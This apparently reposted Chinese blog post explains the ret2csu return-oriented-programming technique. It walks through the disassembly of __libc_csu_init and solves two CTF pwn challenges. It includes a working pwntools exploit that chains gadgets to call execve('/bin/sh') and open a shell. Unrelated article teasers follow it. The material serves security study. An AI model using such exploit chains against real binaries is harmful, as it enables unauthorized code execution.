ret2csu簡單總結

一個比較進階的rop利用方式。

Why ret to csu?

當程序給的gadget不夠,或者輸入長度受限時,可以考慮利用csu中的眾多gadget以及一個call指令來劫持控制流。

__libc_csu_init

匯編源碼:

.text:0000000000400790 ; void __fastcall _libc_csu_init(unsigned int, __int64, __int64)
.text:0000000000400790                 public __libc_csu_init
.text:0000000000400790 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400790 ; __unwind {
.text:0000000000400790                 push    r15
.text:0000000000400792                 push    r14
.text:0000000000400794                 mov     r15d, edi
.text:0000000000400797                 push    r13
.text:0000000000400799                 push    r12
.text:000000000040079B                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004007A2                 push    rbp
.text:00000000004007A3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004007AA                 push    rbx
.text:00000000004007AB                 mov     r14, rsi
.text:00000000004007AE                 mov     r13, rdx
.text:00000000004007B1                 sub     rbp, r12
.text:00000000004007B4                 sub     rsp, 8
.text:00000000004007B8                 sar     rbp, 3
.text:00000000004007BC                 call    _init_proc
.text:00000000004007C1                 test    rbp, rbp
.text:00000000004007C4                 jz      short loc_4007E6
.text:00000000004007C6                 xor     ebx, ebx
.text:00000000004007C8                 nop     dword ptr [rax+rax+00000000h]
.text:00000000004007D0
.text:00000000004007D0 loc_4007D0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004007D0                 mov     rdx, r13
.text:00000000004007D3                 mov     rsi, r14
.text:00000000004007D6                 mov     edi, r15d
.text:00000000004007D9                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD                 add     rbx, 1
.text:00000000004007E1                 cmp     rbx, rbp
.text:00000000004007E4                 jnz     short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6                 add     rsp, 8
.text:00000000004007EA                 pop     rbx
.text:00000000004007EB                 pop     rbp
.text:00000000004007EC                 pop     r12
.text:00000000004007EE                 pop     r13
.text:00000000004007F0                 pop     r14
.text:00000000004007F2                 pop     r15
.text:00000000004007F4                 retn
.text:00000000004007F4 ; } // starts at 400790
.text:00000000004007F4 __libc_csu_init endp

我們關注這兩段代碼,
image

下面的記作gadget1,上面的記作gadget2,因為我們會先執行下面的gadget。
先看gadget1:
第一個的 add rsp, 8我們會直接略過(可以填充8個垃圾字符,也可以直接從0x40059A開始)
后面的6個pop就能控制對應的寄存器。
結合gadget2來看,

  1. rbx:image
    很顯然直接置為0
  2. rbp:image
    為了滿足比較條件,防止jnz跳轉,我們將rbp置為1即可
  3. r12:image
    當我們把rbx置為0后,就是call [r12]的調用,所以我們將r12設置為指向待執行函數地址值的地址即可(比如函數的got表)。這里要注意,是一個間接跳轉。
    那么有時候我們不想call,僅僅只是為了傳參怎么辦呢?
    我們可以調用_term_proc這個"空函數"。image
    可以看到call了后對我們沒有任何影響。
    關于找指向_term__proc地址值的地址的方法
    image
  4. r13:image
    可以發現,經過gadget1+gadget2的作用,控制r13就是控制rdx
  5. r14:同上,控制r14就是控制rsi
  6. r15:image
    這里要注意下,我們只能控制rdi的低32位,也就是edi,所以不能完全的控制rdi的值。不過,一般64位程序中,pop_edi_ret的gadget都是很好找的。
  7. 上述6個pop完了過后,填入gadget2的地址即可跳轉到gadget2繼續執行。

當然,如果并不需要控制寄存器,例如:我們執行完gadget1跳到gadget2然后"滑下來"又到了gadget1,此時我們就直接填充7*8 = 56個垃圾字符就行,到達ret時再劫持控制流。

幾道題目

[VNCTF2022公開賽]clear_got

題目

很棒的一道題。
程序很短,image

這里把got表清空了,而且程序本身的gadget也不大夠,可以用ret2csu來打。
由于ret2csu要執行函數需要一個[r12],如果有got表的話直接填入got表,但是這里memset了,就只能考慮程序給的系統調用了。
ret2syscall那里也提到過,可以通過read成功讀取的字節數來控制rax。

所以我們第一遍ret2csu先布置好read(0,bss,59)的參數,在bss段寫入"/bin/sh\x00",p64(syscall),然后湊夠59字節。(64為execve系統調用號為59)
然后再打一遍ret2csu,布置好execve("/bin/sh\x00",0,0)的參數,用[r12]來調用syscall。

有些細節也要注意:

  1. 第一次打完csu的gadget2跳到gadget1時,直接布置execve的參數,不然后面的payload長度會超過限制。
  2. 我們第一次csu不需要call調用函數,所以要找一個"空函數",一般選擇_term_proc,但是要注意到是call [r12],所以要找一個指向_term_proc的地址。gdbimage
  3. 第一遍布置完read的參數后我們緊接著布置了第二次,布置完過后才調用syscall(直接控制流調用),經嘗試發現,這個syscall的調用不能放在兩次gadget的中間。盡可能保證前面參數布置的流暢性。
  4. 為什么我們在傳完"/bin/sh\x00"后還要傳一個p64(system)?還是一樣的,call [r12],所以得通過寫在bss段上來造一個間接跳轉。

具體看代碼吧:

syscall = 0x000000000040077Ecsu_g1 = 0x4007EA
csu_g2 = 0x4007D0
bss = 0x601060
p_termproc = 0x600e50pl = b'a'*0x60 + b'b'*0x8
# read(0,bss,59)  rdi:0 rsi:bss rdx:59
pl += p64(csu_g1) + p64(0) + p64(1) + p64(p_termproc) + p64(59) + p64(bss) + p64(0)
pl += p64(csu_g2)
pl += b'a'*8 # ignore    :    add     rsp, 8
# execve("/bin/sh",0,0)
pl += p64(0) + p64(1) + p64(bss+8)
pl += p64(0) + p64(0)
pl += p64(bss) + p64(syscall) + p64(csu_g2)
sa("///\n",pl)
pl = b'/bin/sh\x00' + p64(syscall)
pl = pl.ljust(59,b"\x00")
sl(pl)p.interactive()

image

ciscn_2019_es_7

題目

在學SROP的時候也是用的這道題,其實用ret2csu也比較好做,只是這里跟上面那道題又有點區別。
vuln就兩個系統調用
image

而且程序里面給了mov eax,0F;和mov eax 3B;的gadget,所以SROP和execve都能直接打。
這題沒辦法寫在bss段,只能寫在題目給的棧里面。
根據多打印的信息泄露棧地址,從而得到輸入的"/bin/sh"的地址,然后用csu簡單布置下參數就行。
這道題的話,csu僅僅做的就是一個把rdx和rsi置0的作用,如果想利用call [r12]直接調用syscall好像不行?
嘗試了下沒打通。
image

注釋掉的就是想用上一題的打法來打,不知道為什么打不通。
當然,這題有pop_rdi的gadget,輸入也足夠,所以控制好execve后兩個參數后將csu_gadget1填充56個垃圾字符,再劫持控制流打正常的ret2syscall就行。
image

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/43704.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/43704.shtml
英文地址,請注明出處:http://en.pswp.cn/web/43704.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

無人直播賺錢的底層邏輯是什么?一文揭曉!

當前,網絡直播已經成為各類商家提高曝光和引流獲客的主要渠道之一,這在為商家帶來新機遇的同時,也讓他們因人手不足或資金匱乏等原因而陷入無人問津窘境之中。在此背景下,無人直播軟件一經出現,便引起了眾多商家的關注…

多器官功能障礙綜合征

多器官功能障礙綜合征(Multiple Organ Dysfunction Syndrome,MODS)是指機體在遭受嚴重感染、創傷、休克、大手術等急性疾病過程中,同時或序貫發生兩個或兩個以上器官功能障礙,以致不能維持內環境穩定的臨床綜合征。 MO…

28V飛機庫維修電源在飛機庫中的作用

飛機庫作為飛機停放和維護的重要場所,其設施的完善和電源系統的穩定運行是保證飛機正常運行的前提。隨著我國航空事業的飛速發展,飛機維修行業面臨著越來越大的挑戰。在飛機維修過程中,電源系統作為關鍵組成部分,其穩定性和可靠性…

網絡服務與應用-廣域網技術(華為ip認證學習筆記)

網絡服務與應用 FTP:文件傳輸協議 TCP 傳輸 20 端口發送,21 接收端口 1. 采用 C/S 結構 2. 傳輸模式 (1)ASCII 模式:傳輸文本 (2)二進制模式:傳輸非文本 3. 工作模式 (1&…

LeetCode題練習與總結:尋找旋轉排序數組中的最小值--153

一、題目描述 已知一個長度為 n 的數組,預先按照升序排列,經由 1 到 n 次 旋轉 后,得到輸入數組。例如,原數組 nums [0,1,2,4,5,6,7] 在變化后可能得到: 若旋轉 4 次,則可以得到 [4,5,6,7,0,1,2]若旋轉 …

【MIT 6.5840/6.824】Lab1 MapReduce

MapReduce MapReduce思想實現思路感受 6.5840/6.824 Lab與筆記匯總 本文對應的Lab版本為MIT6.5840-Spring2024的Lab1 本博客只提供思路,不會公開任何代碼 本lab耗時約6h,碼量約500行 MapReduce思想 MapReduce的思想屬于是比較簡單的,分為兩…

3. 排序算法代碼-python

目錄 1.冒泡排序2.快速排序3.插入排序4.希爾排序5.選擇排序6.堆排序7.歸并排序8. 二分查找 1.冒泡排序 冒泡排序""" def BubbleSort(nums):listLength len(nums)while listLength > 0:for i in range(listLength - 1):if nums[i] > nums[i1]:nums[i], n…

References in code to package

【IntelliJ IDEA】IDE學習使用(不時更新)_idea references in code to class-CSDN博客

【筆記】從零開始做一個精靈龍女-畫貼圖階段(上)

此文只是我的筆記,不包全看懂,有問題可評論 PS貼圖加工 1.打開ps 拖入uv圖,新建圖層,設置背景色為灰色,改一下圖層名字 2.按z縮小一下uv圖層,拖入實體uv圖片(目的是更好上色,比如…

鴻蒙語言基礎類庫:【@ohos.util.Vector (線性容器Vector)】

線性容器Vector 說明: 本模塊首批接口從API version 8開始支持。后續版本的新增接口,采用上角標單獨標記接口的起始版本。開發前請熟悉鴻蒙開發指導文檔:gitee.com/li-shizhen-skin/harmony-os/blob/master/README.md點擊或者復制轉到。 Vect…

云原生(Cloud native)

云原生(Cloud native) 一 定義 目前比較權威的定義主要來自Pivotal公司和云原生計算基金會(Cloud Native Computing Foundation,簡稱CNCF)。 1.1 Pivotal 4個要點: DevOps、持續交付、微服務、容器化。六…

【Java后端】Service層讀取yml配置文件中內容

前言 最近寫代碼,看到別人寫的讀取application.yml配置文件中數據,寫的挺規范,挺好的;雖然之前也讀取過yml文件,但用的其他方法,沒這個規范,所以記錄下 正文 假設要讀取視頻地址,…

微信小程序切換商戶號

1.登錄微信公眾平臺小程序 2.功能->微信支付 3.關聯成功后會志一關聯商戶號列表顯示 4.登錄你需要切換的商戶號 在下面選擇你需要開通的產品服務 5.切換到賬戶中心的api安全里面 只需要改變當前下面的配置即可切換小程序的收款商戶號 申請API證書按照官方的指引即可解…

關于redis的運維面試題-2

21. Redis的客戶端連接數限制如何設置? 在Redis中,客戶端連接數的限制可以通過配置文件redis.conf來設置,也可以通過命令行直接設置。以下是如何通過配置文件和命令行來設置Redis客戶端連接數限制的步驟和示例代碼。 通過配置文件設置客戶端…

JS計算某一年的土地租金收入和土地承租支出

涉及到多年的地租 , 例如 2024年5月15日 - 2026年5月15日 , 總承包租金是60000 假設 當前年是2024年 , 則計算2024年5月15日-2024年12月31日的租金收入 , 如果是2025年則是2025年1月1日-2025年12月31日 //示例交易數據 var transactions [ { type: "轉出土地收益&qu…

怎么區分住宅IP還是機房IP?機房IP和住宅IP有哪些不同?

在網絡技術的應用中,IP地址扮演著至關重要的角色。了解IP地址的種類及其特性,對于進行網絡管理、優化網絡安全策略、以及實施數據分析等任務至關重要。本文將深入探討如何區分住宅IP和機房IP,并分析兩者的主要差異。 一、IP地址分類簡介 IP…

pytorch-RNN存在的問題

這里寫目錄標題 1. RNN存在哪些問題呢?1.1 梯度彌散和梯度爆炸1.2 RNN為什么會出現梯度彌散和梯度爆炸呢? 2. 解決梯度爆炸方法3. Gradient Clipping的實現4. 解決梯度彌散的方法 1. RNN存在哪些問題呢? 1.1 梯度彌散和梯度爆炸 梯度彌散是…

【人工智能】深度學習:神經網絡模型

【人工智能】深度學習:神經網絡模型 神經網絡基礎知識 BP神經網絡的概念 單個神經元的結構 CNN模型匯總 LeNet5 模型 AlexNet 模型 VGG模型 Inception Net(GoogleNet)模型 ResNet (殘差網絡) RNN模型&#x…

css實現漸進中嵌套漸進的方法

這是我們想要的實現效果: 思路: 1.有一個底色的背景漸變 2.需要幾個小的塊級元素做絕對定位通過漸變filter模糊來實現 注意:這里的采用的定位方法,所以在內部的元素一律要使用絕對定位,否則會出現層級的問題&…

小白攻克歌曲“無名的人”,逐句精研的歌唱訣竅

《無名的人》 作詞:唐恬 作曲:錢雷 演唱:毛不易 今天不講解練習技巧,有需要的可以查看往期文章,我給大家帶一下無名的人,練習一下情感融入。 對于眾多唱歌小白而言,學習歌曲《無名的人》是一…